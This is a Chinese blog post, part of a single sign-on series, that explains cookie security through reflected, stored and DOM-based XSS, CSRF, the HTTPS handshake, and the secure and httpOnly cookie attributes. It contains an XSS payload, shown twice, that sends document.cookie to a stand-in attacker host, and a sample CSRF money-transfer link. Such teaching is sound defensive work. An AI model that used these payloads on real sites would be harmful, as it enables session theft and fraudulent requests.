單點登入與許可權管理本質:cookie安全問題

情情說發表於2018-03-10

該系列好多天沒更新了,前幾天請假回老家了,外公去世了。工作上也開始忙了,開始了所謂的「996」,為節奏和效率堪憂。

該系列的完整寫作計劃,可見:系列概述

系列第一部分索引:

  1. session和cookie介紹
  2. HTTP重定向
  3. 單點登入介紹
  4. cookie安全問題
  5. 許可權管理介紹

繼續介紹「單點登入與許可權管理」系列的第一部分:單點登入與許可權管理本質,前一篇文章介紹了單點登入概念,以CAS協議的基本流程為例講解了系統間的互動過程,過程中,cookie的設定和傳輸涉及的比較多,如何保證cookie的安全性,是這篇文章要介紹的。

安全相關的知識,瞭解的也有限,我閱讀了相關的文章,按照自己的思路、理解,進行了梳理和總結。

如果把安全問題按照發生區域來劃分的話,所有發生在後端伺服器的安全問題稱為「後端安全問題」,比如SQL隱碼攻擊;所有發生在瀏覽器、web頁面中的安全問題稱為「前端安全問題」,比如XSS跨站指令碼攻擊,cookie相關的問題主要在前端。

首先會介紹下2個攻擊,XSS可獲取使用者的cookie,CSRF可利用使用者的cookie偽造請求,然後介紹下HTTPS及它的重要性,最後說下跨域訪問cookie的限制,HTTP設定cookie時對cookie操作的控制。

XSS

XSS稱為跨站指令碼攻擊,全稱為Cross-Site Scripting,這類安全問題發生的本質原因是瀏覽器將攻擊者提供的使用者輸入資料當做JavaScript指令碼執行了。

XSS有不同的分類方法,按照惡意指令碼是否在應用中儲存,可以劃分為「儲存型XSS」和「反射性XSS」;按照是否和服務端有互動,可以劃分為「Server Side XSS」和「DOM based XSS」。

反射型XSS

場景說明:一些系統,在使用者輸入或操作錯誤後,會跳轉到錯誤資訊提示頁面,伺服器根據傳入的message顯示不同的錯誤資訊。

如果服務端不對message進行過濾,就會收到XSS攻擊,比如請求URL:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
複製程式碼

頁面顯示

<input type="text" value="${msg}">
複製程式碼

如果被攻擊者通過訪問這個惡意的URL,就會把cookie發給黑客,黑客截獲cookie,就能執行使用者的任意操縱。

儲存型XSS

對於儲存型XSS,指令碼通常儲存在後端資料庫中,不經過濾就儲存並顯示給使用者。與反射型的流程不同的是,需要至少兩次請求,第一次將含有惡意程式碼的資料提交給伺服器,儲存到資料庫,第二次是受害者訪問含有惡意程式碼的頁面,惡意程式碼執行。

DOM based XSS

其實也是反射型的一種,因為也是通過url控制頁面的輸出,不同點只是輸出地點不同而導致結果不一致。

加入請求URL和反射XSS相同:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
複製程式碼

顯示頁面如下:

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>
複製程式碼

防禦XSS最佳的做法是對資料進行嚴格的輸出編碼,使得攻擊者提供的資料不再被瀏覽器認為是指令碼而被誤執行。

CSRF

CSRF稱為跨站請求偽造,全稱是Cross Site Request Forgery,它可以在受害者毫不知情的情況下,以受害者的名義偽造請求傳送給受攻擊站點。

場景說明:小米金融網站A,有一個如下的轉賬介面

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000
複製程式碼

黑客H有一個網站B,在網站中放入如下程式碼,通過廣告誘使受害者點選。如果受害者之前登入過網站A,且session還未過期,就會在受害者不知情的情況下,成功轉賬給黑客。

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>
複製程式碼

可以通過驗證HTTP Referer欄位、在請求地址中新增token並驗證、在HTTP頭中自定義屬性並驗證等方法進行解決;

HTTPS

建議所有對外網開放的站點都通過HTTPS,它是在HTTP協議的基礎上,加入了SSL層,對資料進行加密處理。

通過HTTPS協議,cookie在傳輸的過程中,即使被別人劫持到請求,也不知道實際的cookie是什麼,無法偽造其他的請求。

HTTPS相關的介紹在網上很多,這裡描述下互動過程:

  1. 瀏覽器將自己支援的一套加密規則傳送給網站;
  2. 網站從中選出一組加密演算法與HASH演算法,並將自己的身份資訊以證照的形式發回給瀏覽器;(證照裡面包含了網站地址,加密公鑰,以及證照的頒發機構等資訊)
  3. 瀏覽器獲得網站證照之後,要做以下工作:
    • 驗證證照的合法性(驗證頒發證照的機構是否合法,證照中包含的網站地址是否與正在訪問的地址一致等),如果驗證不通過,會給出證照不受信的提示;
    • 如果證照受信任,或者是使用者接受了不受信的證照,瀏覽器會生成一串隨機數的密碼,並用證照中提供的公鑰加密;
    • 使用約定好的HASH計算握手訊息,並使用生成的隨機數對訊息進行加密,最後將之前生成的所有資訊傳送給網站;
  4. 網站接收瀏覽器發來的資料之後要做以下的操作:
    • 使用自己的私鑰將資訊解密取出隨機數密碼,使用密碼解密瀏覽器發來的握手訊息,並驗證HASH是否與瀏覽器發來的一致;
    • 使用隨機數密碼加密一段握手訊息,傳送給瀏覽器;
  5. 瀏覽器解密並計算握手訊息的HASH,如果與服務端發來的HASH一致,此時握手過程結束,之後所有的通訊資料將由之前瀏覽器生成的隨機密碼並利用對稱加密演算法進行加密;

總結下:

  • 握手階段,通過非對稱加密演算法對傳輸的資料進行加解密,約定隨機數的密碼、加密演算法、Hash演算法;
  • 正常傳輸資料時,因為非對稱加密比較耗時,使用隨機數的密碼進行加解密,隨機數密碼在瀏覽器端生成,通過非對稱加密傳輸給網站,所以不會洩露;
  • 為了防止資料被篡改,通過Hash演算法進行校驗;

Cookie訪問控制

cookie如此重要,在瀏覽器端,如果一個網站可以訪問其他網站的cookie,肯定不行的,所以瀏覽器是不允許跨域訪問cookie的,提高了Cookie的安全性。

在前面的文章 session和cookie介紹 中,已經介紹了cookie的作用域,主要是說一級域名相同情況下如何共享使用cookie。

如果想實現跨域訪問,可以通過JSONP、CORS的方法實現。

另外,HTTP設定cookie時,提供了2個屬性,可以增強cookie的安全性,分別是secure屬性和httpOnly屬性。

secure屬性可防止資訊在傳遞的過程中被監聽捕獲後導致資訊洩露,如果設定為true,可以限制只有通過https訪問時,才會將瀏覽器儲存的cookie傳遞到服務端,如果通過http訪問,不會傳遞cookie。

httpOnly屬性可以防止程式獲取cookie,如果設定為true,通過js等將無法讀取到cookie,能有效的防止XSS攻擊。

通過本篇文章的介紹,為了保障cookie的安全性,應要求通過HTTPS進行訪問,在編寫程式碼時充分考慮,儘量避免XSS、CSRF等cookie相關的攻擊方法。同時,瀏覽器和HTTP本身也對cookie的訪問控制進行了考慮。

情情說

相關文章